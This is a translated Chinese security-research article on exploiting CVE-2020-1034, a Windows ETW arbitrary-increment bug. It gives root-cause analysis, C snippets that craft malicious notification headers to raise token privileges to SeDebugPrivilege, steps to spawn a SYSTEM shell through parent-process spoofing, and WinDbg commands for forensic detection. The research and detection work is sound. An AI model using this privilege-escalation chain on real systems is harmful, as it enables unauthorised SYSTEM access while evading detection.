0x00 概述
9月,微软发布了CVE-2020-1034漏洞的补丁。这是一个非常关键的漏洞,但目前网上没有太多的漏洞分析,因此我想将它作为案例进行研究。目前的一些演讲和文章都聚焦于漏洞自身、发现过程和研究,最终都是用PoC来展示成功的“漏洞利用”过程,即体现为BSOD蓝屏,内核地址设置为0x41414141。这样的呈现形式比较引人注目,但是我还是希望能深入挖掘崩溃之后的漏洞利用过程,即如何能稳定利用这个漏洞,并且最好能不被轻易发现。
这篇文章将详细介绍这个漏洞本身,我关注到其他研究人员在分析过程中,都主要展示了汇编代码的截图,以及带有魔法数和未初始化堆栈变量的数据结构。但实际上,如果借助微软的公共符号文件(PDB)、SDK头文件和IDA的Hex-rays Decompiler之类的工具,我们可以用更加容易理解的方式来分析这一漏洞,并揭示出实际的根本原因。本文将重点探讨该漏洞所涉及的Windows机制,以及如何利用漏洞来创建稳定的利用程序,从而在不导致计算机崩溃的情况下实现本地特权提升。
0x01 漏洞描述
简而言之,CVE-2020-1034是EtwpNotifyGuid中存在的一个输入验证漏洞,允许增加任意地址。该函数没有考虑特定输入参数(ReplyRequested)的所有可能值,并且0和1以外的值会将输入缓冲区内的地址视为对象指针,并尝试对其进行引用,这会导致ObjectAddress - offsetof(OBJECT_HEADER, Body)产生增量。导致这一问题的根本原因,实质上是一项检查,在其中的一个地方下使用了!= FALSE的布尔型逻辑,而在另一个地方使用的是== TRUE。那么假如取值为2,无法通过== TRUE的判断,但却能够通过!= FALSE的判断。
NtTraceControl接收输入缓冲区作为其第二个参数。在触发漏洞的情况下,缓冲区将从ETWP_NOTIFICATION_HEADER类型的结构开始。这个输入参数会传递到EtwpNotifyGuid,进行如下检查:
如果NotificationHeader->ReplyRequested为1,则结构的ReplyObject字段将填充一个新的UmReplyObject。接下来,通知标头或实际的内核副本会被传递到EtwpSendDataBlock,在这里我们发现了漏洞:
如果NotificationHeader->ReplyRequested不为0,则会调用ObReferenceObject,它将获取在对象主体之前找到的OBJECT_HEADER,并将PointerCount递增1。现在我们发现了问题所在,ReplyRequested并非只能为0或1的单独的一个bit,它是布尔型,可以是0到0xFF之间的任意值。除1之外的任何非零值都会让ReplyObject字段产生变化,但仍将使用为这个字段提供的(用户模式)调用方的任意地址来调用ObReferenceObject,从而导致任意地址的增加。由于PointerCount是OBJECT_HEADER中的第一个字段,因此这意味着要递增的地址是NotificationHeader->ReplyObject - offsetof(OBJECT_HEADER, Body)中的地址。
要修复这个漏洞,方法非常简单,只需要对EtwpNotifyGuid进行简单的修改:
if (notificationHeader->ReplyRequested != FALSE) { status = EtwpCreateUmReplyObject((ULONG_PTR)etwGuidEntry, &Handle, &replyObject); if (NT_SUCCESS(status)) { notificationHeader->ReplyObject = replyObject; goto alloacteDataBlock; } } else { ... }
ReplyRequested中的任何非零值都将导致分配一个新的reply对象,该对象将覆盖调用方的值。
从表面上看,这个漏洞似乎很容易利用,但实际上并非如此。特别是,如果我们希望让漏洞利用过程逃避检测、难以被发现,就更加困难。所以,我们继续研究该漏洞是如何触发的,然后尝试进行利用。
0x02 触发方式
该漏洞是通过具有以下签名的NtTraceControl触发的:
NTSTATUS NTAPI NtTraceControl ( _In_ ULONG Operation, _In_ PVOID InputBuffer, _In_ ULONG InputSize, _In_ PVOID OutputBuffer, _In_ ULONG OutputSize, _Out_ PULONG BytesReturned );
如果我们查看NtTraceControl内部代码,可以了解触发漏洞所需发送的参数的信息:
该函数使用switch语句来处理Operation参数,需要使用EtwSendDataBlock (17)来到达EtwpNotifyGuid。这里还有一些关于大小的要求,并且我们注意到,需要使用的NotificationType不应该是EtwNotificationTypeEnable,因为这会导致我们进入到EtwpEnableGuid。NotificationType字段还有其他的一些限制,我们很快就会看到。
值得注意的是,这个代码路径由Win32导出函数EtwSendNotification调用,Geoff Chappel在其博客文章上对此进行了描述。根据Geoff的描述,有关Notify GUID的信息也非常有价值。
我们来看一下ETWP_NOTIFICATION_HEADER结构,看看这里还需要考虑哪些其他字段:
typedef struct _ETWP_NOTIFICATION_HEADER { ETW_NOTIFICATION_TYPE NotificationType; ULONG NotificationSize; LONG RefCount; BOOLEAN ReplyRequested; union { ULONG ReplyIndex; ULONG Timeout; }; union { ULONG ReplyCount; ULONG NotifyeeCount; }; union { ULONGLONG ReplyHandle; PVOID ReplyObject; ULONG RegIndex; }; ULONG TargetPID; ULONG SourcePID; GUID DestinationGuid; GUID SourceGuid; } ETWP_NOTIFICATION_HEADER, *PETWP_NOTIFICATION_HEADER;
我们已经分析过其中的某些字段,而其余的字段有一部分是与漏洞利用无关的,可以忽略。接下来,从最重要的一个字段开始分析,即DestinationGuid。
0x03 找到正确的GUID
ETW主要是基于提供者(provider)和使用者(consumer),其中的提供者负责通知某些事件,而使用者可以选择由一个或多个提供者进行通知。系统中每个提供者和使用者都以GUID进行标识。
这里的漏洞就位于ETW通知机制中,这个机制以前是WMI,但现在已经变为ETW的一部分。在发送通知时,我们实际上是在通知特定的GUID,因此必须要精心选择一个有效的GUID。
第一个要求是选择系统上实际存在的GUID:
EtwpNotifyGuid中发生的第一件事是调用EtwpFindGuidEntryByGuid,并传入DestinationGuid,然后对返回的ETW_GUID_ENTRY进行访问检查。
寻找已注册的GUID
为了找到可以成功传递此代码的GUID,我们首先应该回顾一下ETW内部原理。内核具有一个名为PspHostSiloGlobals的全局变量,它是指向ESERVERSILO_GLOBALS结构的指针。这个结构包含一个EtwSiloState字段,该字段是ETW_SILODRIVERSTATE结构。该结构中包含许多ETW管理所需的信息,我们这里重点需要研究的是其中的EtwpGuidHashTables。这是一个由64个ETW_HASH_BUCKETS结构组成的数组。如果要为GUID找到合适的bucket,需要使用以下方式对其进行哈希处理: (Guid->Data1 ^ (Guid->Data2 ^ Guid->Data4[0] ^ Guid->Data4[4])) & 0x3F。这个系统可能是为查找GUID的内核结构实现了一种高性能的方式,因为计算GUID哈希比迭代列表要快。
每个bucket中包含一个锁和三个链表,分别对应于ETW_GUID_TYPE的三个值:
这些列表包含ETW_GUID_ENTRY类型的结构,其中包含每个注册的GUID所需的所有信息:
正如我们在前面截图中所看到的,EtwpNotifyGuid将EtwNotificationGuid类型作为ETW_GUID_TYPE来传递(除非NotificationType为EtwNotificationTypePrivateLogger,但是随后我们了解到,不应该使用这种类型)。我们可以通过WinDbg来打印系统上以EtwNotificationGuidType注册的所有ETW提供者,并查看哪些是我们可以选择的。
当调用EtwpFindGuidEntryByGuid时,它将接收到指向ETW_SILODRIVERSTATE、要搜索的GUID以及该GUID所属的ETW_GUID_TYPE的指针,并为这个GUID返回ETW_GUID_ENTRY。如果没有找到GUID,则返回NULL,并且EtwpNotifyGuid将以STATUS_WMI_GUID_NOT_FOUND退出。
dx -r0 @$etwNotificationGuid = 1 dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink})
我发现,我的系统上只注册了一个活动的GUID!这个GUID对于我们的漏洞利用可能很有帮助,但在进行此操作之前,我们还需要查看一些与其相关的更多细节。
在前面的图中,我们可以看到ETW_GUID_ENTRY内部的RegListHead字段。这是ETW_REG_ENTRY结构的链表,每个结构都描述了提供者的注册实例,因为同一提供者可以通过相同或不同的进程进行多次注册。我们将获取这个GUID (25)的哈希,并从其RegList中打印一些信息:
dx -r0 @$guidEntry = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[25].Flink) dx -g Debugger.Utility.Collections.FromListEntry(@$guidEntry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})
这个GUID有6个实例,通过6个不同的进程在系统上注册。这很酷,但是可能会导致我们的利用变得不稳定——在通知GUID时,所有已注册条目都会得到通知,并可能尝试处理该请求。这会导致两个问题:
1、我们无法准确预测漏洞利用会对目标地址产生多少增量,因为我们可以为每个注册实例获得一个增量(但不能保证,稍后将进行解释)。
2、注册了该提供者的每个进程,都可以尝试使用计划外的其他方式来使用我们的虚假通知。他们可能会尝试使用虚假事件,或者读取某些格式不正确的数据,从而导致崩溃。例如,如果通知的NotificationType = EtwNotificationTypeAudio,那么Audiodg.exe将尝试处理该消息,这会导致内核释放ReplyObject。由于ReplyObject不是实际的对象,这就导致系统立即崩溃。我没有详细测试过其他情况,但可以肯定的一点是,即使使用其他的NotificationType,最终仍然会导致崩溃,因为某些已注册的进程试图将通知作为真实的通知来处理。
由于我们的目标是创建一个稳定可靠的漏洞利用程序,不能让系统崩溃,因此看来GUID不适合我们。但是,这是系统中唯一已注册的提供者,除了它之外,我们还能利用什么呢?
自定义GUID
实际上,我们可以注册我们自己的提供者。这样一来,就可以保证没有其他人可以使用它,并且我们可以完全对其进行控制。EtwNotificationRegister允许我们使用所选的GUID注册新的提供者。
我先剧透一下,这个方法最终是行不通的。但原因是什么呢?
如同Windows上的所有内容,ETW_GUID_ENTRY具有安全描述符,用于描述允许不同的用户和组对其执行哪些操作。正如我们在之前的截图中看到的,在通知GUID之前,EtwpNotifyGuid调用EtwpAccessCheck来检查GUID是否为试图通知的用户设置了WMIGUID_NOTIFICATION访问权限。
为了测试这一点,我注册了一个新的提供者,当我们以与之前相同的方式转储注册的提供者时,可以看到:
在这里,可以使用!sd命令打印安全描述符(下面没有展示完整列表):
安全描述符由组(SID)和ACCESS_MASK(ACL)组成。每个组都使用一个SID来表示,形式为“S-1-...”,还包括一个掩码,描述了允许该组对该对象执行的操作。由于我们以具有中等完整性级别的普通用户身份运行,因此通常只能做一些比较有限的事情。我们的进程涉及到的组主要是Everyone(S-1-1-0)和Users(S-1-5-32-545)。正如我们在这里所看到的,ETW_GUID_ENTRY的默认安全描述符不包含“Users”的任何特定访问掩码,而“Everyone”的访问掩码为0x1800(TRACELOG_JOIN_GROUP | TRACELOG_REGISTER_GUIDS)。更高的访问掩码代表着更高的特权级别,例如Local System和Administrator。由于我们的用户没有这个GUID的WMIGUID_NOTIFICATION特权,因此当我们尝试通知它的时候,漏洞利用将会失败。
也就是说,除非在安装了Visual Studio的计算机上运行。这样一来,默认的安全描述符会更改,并且“性能日志用户”(Performance Log Users,基本上是任何登录的用户)都会获得各种有趣的特权,其中也包括我们关心的两个特权。但是,我们可以假设漏洞利用程序没有在安装了VS的计算机上运行,而是纯净版的Windows计算机。
事实上,并非所有的GUID都使用默认的安全描述符。可以通过注册表项 HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security来更改GUID的访问权限。
这里包含使用非默认安全描述符的系统中的所有GUID。其中的数据是GUID的安全描述符,但由于此处显示为REG_BINARY,因此很难以这种方式进行解析。
理想情况下,我们只需要在这里添加新的GUID和允许的配置,然后继续触发漏洞即可。但遗憾的是,让任何用户更改GUID的安全描述符都会破坏Windows安全模型,因此,这个注册表项的访问权限只能留给了SYSTEM、Administrators和EventLog。
如果我们的默认安全描述符不够强大,并且没有特权进程,那么就无法使用自定义的GUID。
Living Off the Land
幸运的是,我们还有第三个选项。在注册表项中,还有许多其他GUID已经具有修改的权限。其中,有一个是允许非特权用户使用WMIGUID_NOTIFICATION的。
我们面临另一个问题,在这种情况下,WMIGUID_NOTIFICATION是不够的。由于这些GUID都不是注册提供者,因此我们首先需要对其进行注册,然后才能进行漏洞利用。在通过 EtwNotificationRegister注册提供者时,请求通过NtTraceControl到达 EtwpRegisterUMGuid,并在这里进行检查:
为了能够使用现有的GUID,我们需要它允许普通用户同时使用WMIGUID_NOTIFICATION和TRACELOG_REGISTER_GUIDS。我们动用了PowerShell,由于其语法比较奇特,我们近乎放弃了,改用C语言编写注册表解析工具。我们遍历了注册表项的所有GUID,并检查“Everyone”(S-1-1-0)的安全描述符,打印出至少允许一种所需权限的GUID:
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security" foreach($line in (Get-Item $RegPath).Property) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-1-0 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}
除了我们已知的GUID外,这里没有找到同时允许两个权限的其他GUID。
我们再次使用脚本,这次检查“Users”(S-1-5-32-545)的权限:
foreach($line in Get-Content C:\Users\yshafir\Desktop\guids.txt) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-5-32-545 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}
这里发现了多个GUID可以满足我们的需求。我们可以选择其中的任何一个来编写漏洞利用程序。
在我的尝试过程中,我选择了截图中的第二个GUID {4838fe4f-f71c-4e51-9ecc-8430a7ac4c6c},属于“内核空闲状态更改事件”。这个选择完全是随机的,选择其他的任何一个理论上也可以。
0x04 选择递增的地址
现在就到了简单的部分,注册我们的新GUID,选择一个地址进行递增,然后触发漏洞利用。但是,我们要递增哪个地址?
实现特权提升的最简单方法就是token特权:
dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges [Type: _SEP_TOKEN_PRIVILEGES] [+0x000] Present : 0x602880000 [Type: unsigned __int64] [+0x008] Enabled : 0x800000 [Type: unsigned __int64] [+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
在检查进程或线程是否可以在系统中执行某些操作时,内核会检查token特权,包括Present和Enabled位。在我们的场景中,这使得特权提升相对容易。如果我们想给进程一个特定的特权,例如允许我们打开系统中任意进程句柄的SE_DEBUG_PRIVILEGE,那么只需要增加该进程token的特权即可,直到它包含我们想要的特权。
通过一些简单的步骤就可以实现:
1、打开进程token的句柄。
2、获取内核中token对象的地址,同时使用NtQuerySystemInformation和SystemHandleInformation类,接收系统中的所有句柄,并进行循环,直至找到与token匹配的句柄并保存对象地址。
3、根据token内的偏移量计算Privileges.Present和Privileges.Enabled的地址。
4、使用我们找到的GUID,注册新的提供者。
5、构建恶意的ETWP_NOTIFICATION_HEADER结构,并以正确的次数(对于SE_DEBUG_PRIVILEGE来说是0x100000)调用NtTraceControl来使得Privileges.Present递增,然后再次让Privileges.Enabled递增。
理论上可行,但在我们实际尝试的过程中,会发现并不会增加0x100000。实际上,Present仅增加了4,而Enabled保持不变。要了解这是为什么,我们还需要回到ETW的内部原理…
0x05 插槽及限制
前面我们看到了GUID条目是如何在内核中呈现的,并且每个GUID可以注册多个ETW_REG_ENTRY结构,以表示每个注册实例。在收到GUID通知后,该通知将获得所有注册实例的队列(因为我们希望所有进程都接到通知)。为此,ETW_REG_ENTRY有一个ReplyQueue,其中包含4个ReplySlot条目。每一个都会指向ETW_REG_ENTRY结构,该结构包含处理请求所需的信息——通知程序提供的数据块、恢复对象、标志等等。
与漏洞利用无关,我们多提一句,ETW_REG_ENTRY也包含所有GUID中等待这一进程的所有队列通知的链表,这可能会成为到达不同GUID和进程的另外一种方法。
由于每个ETW_REG_ENTRY只有4个回复插槽(slot),因此在任何时候都只能有4个通知等待回复。如果4个插槽已满,那么任何通知都无法再进行处理。EtwpQueueNotification将引用ReplyObject中提供的“对象”,只会在看到回复插槽已满时才立即取消引用。
在通常情况下,这并不是问题,因为等待通知的消费者可以很快处理通知,几乎会立即将其从队列中移除。但是,对于我们的通知来说,由于使用了一个没有其他人使用的GUID,因此没有人在等待这些通知。最重要的是,我们发送的是一些损坏的通知,这些通知的ReplyRequested字段设置为非零,但没有将有效的ETW注册对象设置为其ReplyObject(因为我们使用的是任意指针)。即使我们自己回复通知,内核也会尝试将ReplyObject视为有效的ETW注册对象,这很可能会以另一种方式导致系统崩溃。
这里似乎进入了死路,我们无法回复我们的通知,同时也没有人会回复,这意味着无法释放ETW_REG_ENTRY中的插槽,最多只能有4条通知。由于释放插槽可能会导致系统崩溃,这也意味着我们的进程一旦触发漏洞就无法退出。当进程退出时,其所有句柄都会关闭,这会导致释放所有队列中的通知。
让我们的进程保持活动状态并不是太大的问题,但是只用4个递增值可以做些什么呢?事实上,如果充分了解ETW的工作原理,我们只使用1次递增就可以。
0x06 提供者注册到Rescue
现在我们知道,每个注册的提供者最多只能有4条通知等待答复。但好消息是,即使对于同一个GUID,我们也可以注册多个提供者。并且,由于所有通知都已经在GUID所有已注册实例中排队,因此我们甚至不需要分别通知每个实例。我们可以注册X个提供者,仅发送一个通知,并以目标地址的X增量来接收。或者,我们可以发送4条通知,并得到4X的增量。
那么,我们可以注册0x100000提供者,然后用“错误的”ETW通知对其进行通知,并在token中获取SE_DEBUG_PRIVILEGE并最终实现漏洞利用?
不完全是这样。
使用EtwNotificationRegister注册提供者时,该函数首先需要分配和初始化内部注册数据结构,这个结构会发送到NtTraceControl以注册提供者。该数据结构是由EtwpAllocateRegistration分配的,我们在其中看到了以下检查:
Ntdll仅允许这个进程最多注册0x800提供者。如果该进程的当前已注册的提供者数量为0x800,则函数将返回,操作失败。
当然,我们可以尝试分析内部结构,自行分配并直接调用NtTraceControl来绕过这个过程。但是,我不建议这样做。因为这是一项复杂的工作,当ntdll尝试为未知的提供者处理答复时,可能会产生意料之外的副作用。
相反,我们可以采用更简单的方式:我们想将特权增加0x100000。如果我们将特权看作是单独的字节,而不是DWORD,那么实际上,仅需要将第三个字节增加0x10即可:
为了使我们的漏洞利用更加简单,并且只需要0x10的增量,我们针对Privileges.Present和Privileges.Enabled,都向目标地址增加2个字节。如果我们使用找到的GUID注册0x10提供者,然后向Privileges.Present的目标地址发送通知,再向Privileges.Enabled发送通知,就可以进一步减少对NtTraceControl的调用数量。
现在,在编写漏洞利用程序之前,我们还需要做一件事——创建恶意通知。
0x07 通知头部字段
ReplyRequested
正如我们在文章开头所看到的,该漏洞是使用ETWP_NOTIFICATION_HEADER结构调用NtTraceControl而触发的,其中ReplyRequested的值不是0或1。在这里,我将值设置为2,但实际上可以使用2到0xFF之间的任何其他值。
NotificationType
随后,我们需要从ETW_NOTIFICATION_TYPE枚举中选择一个通知类型:
typedef enum _ETW_NOTIFICATION_TYPE { EtwNotificationTypeNoReply = 1, EtwNotificationTypeLegacyEnable = 2, EtwNotificationTypeEnable = 3, EtwNotificationTypePrivateLogger = 4, EtwNotificationTypePerflib = 5, EtwNotificationTypeAudio = 6, EtwNotificationTypeSession = 7, EtwNotificationTypeReserved = 8, EtwNotificationTypeCredentialUI = 9, EtwNotificationTypeMax = 10, } ETW_NOTIFICATION_TYPE;
前面已经看到,我们不能选择EtwNotificationTypeEnable类型,因为这会进入到不同的代码路径,不会触发漏洞。
我们也不能使用EtwNotificationTypePrivateLogger或EtwNotificationTypeFilteredPrivateLogger。这两个类型会将目标GUID更改为PrivateLoggerNotificationGuid,同时需要具有TRACELOG_GUID_ENABLE访问权限。这个访问权限对于普通用户来说是不可用的。像EtwNotificationTypeSession和EtwNotificationTypePerflib的其他类型已经在系统中使用了,如果某些系统组件尝试将我们的通知处理为已知类型,那么很可能会导致意外结果,因此也要避免这些类型。
有两种最为安全的类型,分别是EtwNotificationTypeReserved(在系统中没有被任何人使用)和EtwNotificationTypeCredentialUI(仅在打开和关闭UAC弹窗时在来自consent.exe的通知中使用,不发送任何信息)。在这里,我选择了EtwNotificationTypeCredentialUI。
NotificationSize
正如我们在NtTraceControl中看到的,NotificationSize字段必须至少为sizeof(ETWP_NOTIFICATION_HEADER)。我们只需要这些,因此我们将让它具有准确的大小。
ReplyObject
我们需要在地址上增加offsetof(OBJECT_HEADER, Body),对象头部包含对象所在的前8个字节,因此我们不应该在计算中再包含它们,否则就会有8字节的偏移量。为此,我们再添加两个字节,这样就能直接增加第三个字节了,这第三个字节也是我们关注的字节。
除了我们已经讨论过很多的DestinationGuid之外,我们并不关注其他字段,并且也不在我们的代码路径中使用,因此可以将其保留为0。
0x08 构造漏洞利用
现在,我们可以触发攻击,并尝试获取新的特权。
注册提供者
首先,需要注册0x10提供者。这个过程非常容易,这里没有太多要说明的内容。为了让注册成功,我们需要创建一个回调。每当通知提供者,并且可以回复该通知时,就会调用这个方法。我选择在这个回调中不作任何事情,但这是该机制中一个有趣的部分,可以用来进行一些尝试,例如将其用于注入技术。
出于篇幅考虑,我们在这里就先定义一个不执行任何操作的精简版回调。
ULONG EtwNotificationCallback ( _In_ ETW_NOTIFICATION_HEADER* NotificationHeader, _In_ PVOID Context ) { return 1; }
然后使用我们选择的GUID,注册0x10提供者:
REGHANDLE regHandle; for (int i = 0; i < 0x10; i++) { result = EtwNotificationRegister(&EXPLOIT_GUID, EtwNotificationTypeCredentialUI, EtwNotificationCallback, NULL, ®Handle); if (!SUCCEEDED(result)) { printf("Failed registering new provider\n"); return 0; } }
我重新使用了相同的句柄,因为我们不打算关闭这些句柄。关闭它们会导致释放已使用的插槽,从而导致系统崩溃。
通知标头
完成所有这些工作后,我们终于有了提供者和所需的所有通知字段,可以构建通知标头并触发漏洞利用。先前,我说明了如何获取token的地址,因此在这里不再赘述,我们假设已经获取到了token的地址。
首先,计算要增加的两个地址:
presentPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress + offsetof(TOKEN, Privileges.Present) + 2); enabledPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress + offsetof(TOKEN, Privileges.Enabled) + 2);
然后,定义数据块,并将其归零:
ETWP_NOTIFICATION_HEADER dataBlock; RtlZeroMemory(&dataBlock, sizeof(dataBlock));
填充所有需要的字段:
dataBlock.NotificationType = EtwNotificationTypeCredentialUI; dataBlock.ReplyRequested = 2; dataBlock.NotificationSize = sizeof(dataBlock); dataBlock.ReplyObject = (PVOID)((ULONG_PTR)(presentPrivilegesAddress) + offsetof(OBJECT_HEADER, Body)); dataBlock.DestinationGuid = EXPLOIT_GUID;
最后,使用我们的通知标头,调用NtTraceControl。在这里也可以将dataBlock作为输出缓冲区,但是我们决定定义一个新的ETWP_NOTIFICATION_HEADER。
status = NtTraceControl(EtwSendDataBlock, &dataBlock, sizeof(dataBlock), &outputBuffer, sizeof(outputBuffer), &returnLength);
然后,使用相同的值重新填充字段,将ReplyObject设置为(PVOID)((ULONG_PTR)(enabledPrivilegesAddress) + offsetof(OBJECT_HEADER, Body)),然后再次调用NtTraceControl以增加我们的Enabled特权。
然后,查看token:
现在,就得到了SeDebugPrivilege!
0x09 利用SeDebugPrivilege
一旦获得SeDebugPrivilege后,我们就可以访问系统中的任何进程。这样一来,就为我们提供了多种方式可以以SYSTEM权限运行代码,比如将代码注入到系统进程1中。
我选择使用我和Alex在Faxhell演示过的技术——创建一个新进程,并将其父进程设置为一个合法的系统级进程,这就会导致新进程以SYSTEM权限运行。对于父进程的选择,我是用的是DcomLaunch服务。
可以在有关Faxhell的文章中找到有关此技术的完整说明,我在这里简单说明步骤:
1、利用漏洞得到SeDebugPrivilege。
2、打开DcomLaunch服务,查询该服务以接收PID,然后使用PROCESS_ALL_ACCESS打开该进程。
3、初始化进程属性,并将PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性和句柄传递给DcomLaunch,以将其设置为父级。
4、使用这些属性创建一个新进程。
按照上述步骤操作,我们就获得了一个以SYSTEM身份运行的cmd进程。
0x0A 取证
由于这种漏洞会留下永远不会删除掉的排队通知,因此如果我们知道要查找的位置,就可以很容易地在内存中找到它。
我们回到前面的WinDbg命令,并解析GUID表。这次,我们还将标头添加到ETW_REG_ENTRY列表中,并在列表中添加项目数:
dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink, RegCount = Debugger.Utility.Collections.FromListEntry(Entry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Count()})
不出所料,我们可以在这里看到3个GUID,第一个GUID是我们第一次检查时已经在系统注册的,第二个GUID用于我们的漏洞利用以及测试GUID。
现在,我们可以使用第二个命令来查看谁正在使用这些GUID。遗憾的是,没有好方法能一次性查看到所有GUID的信息,因此我们需要逐一查看。在进行实际的取证分析时,我们需要查看所有GUID(可以编写一个自动化工具),在这里我们已经知道漏洞利用使用了哪个GUID,因此只关注它即可。
我们将GUID条目保存在插槽42中:
dx -r0 @$exploitGuid = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[42].Flink)
在列表中打印有关所有已注册实例的信息:
dx -g @$regEntries = Debugger.Utility.Collections.FromListEntry(@$exploitGuid->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {ReplyQueue = r.ReplyQueue, ReplySlot = r.ReplySlot, UsedSlots = r.ReplySlot->Where(s => s != 0).Count(), Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})
可以看到,所有实例都是通过同一进程注册的(通常名为“exploit_part_1”)。这非常可疑,因为通常情况下,一个进程没有理由多次注册同一个GUID,这就说明需要进行进一步分析。
如果我们想进一步调查这些可疑条目,可以查看通知队列:
dx -g @$regEntries[0].ReplySlot
这就更加可疑了,因为其标志是ETW_QUEUE_ENTRY_FLAG_HAS_REPLY_OBJECT (2),但是它们的ReplyObject字段看起来并不正确,它们与对象的预期方式不符。
我们可以在其中一个对象上运行!pool,然后看到该地址实际上在token对象内部:
我们检查属于exploit_part_1进程的token的地址:
dx @$regEntries[0].Process->Token.Object & ~0xf @$regEntries[0].Process->Token.Object & ~0xf : 0xffff908912ded0a0 ? 0xffff908912ded112 - 0xffff908912ded0a0 Evaluate expression: 114 = 00000000`00000072
可以看到,在第一个ReplyObject中看到的地址是token地址之后的0x72字节,因此它位于这个进程的token中。由于ReplyObject应该指向ETW注册对象,并且不在token之中,因此这显然是一个进程的可疑行为。
0x0B Show Me The Code
完整PoC请参考:https://github.com/yardenshafir/CVE-2020-1034 。
0x0C 总结
通过这篇文章,我们应该能感受到,几乎已经不再存在“简单的漏洞利用”。即使像这个非常容易理解和触发的漏洞,也仍然需要对Windows内部机制的了解,并开展大量的工作,才能实际转换为不会触发系统崩溃的漏洞。即使如此,我们后续还有很多要继续研究的内容。
这类攻击非常有趣,因为它们不依赖于任何ROP或HVCI违反,并且与XFG、CET、页表、PatchGuard都无关。这样的漏洞简单、有效,仅仅在数据层面的这类攻击将永远是安全领域的一个致命弱点,并且很可能会一直以某种形式存在。
本文的重点是我们如何安全地利用该漏洞,一旦获得特权之后,就可以按照标准套路继续。在后续的文章中,我可能会展示一些与任意增量和token对象相关的其他事情,这些有趣和复杂的事情可能会导致攻击更难以检测。
本文翻译自:https://windows-internals.com/exploiting-a-simple-vulnerability-in-35-easy-steps-or-less/如若转载,请注明原文地址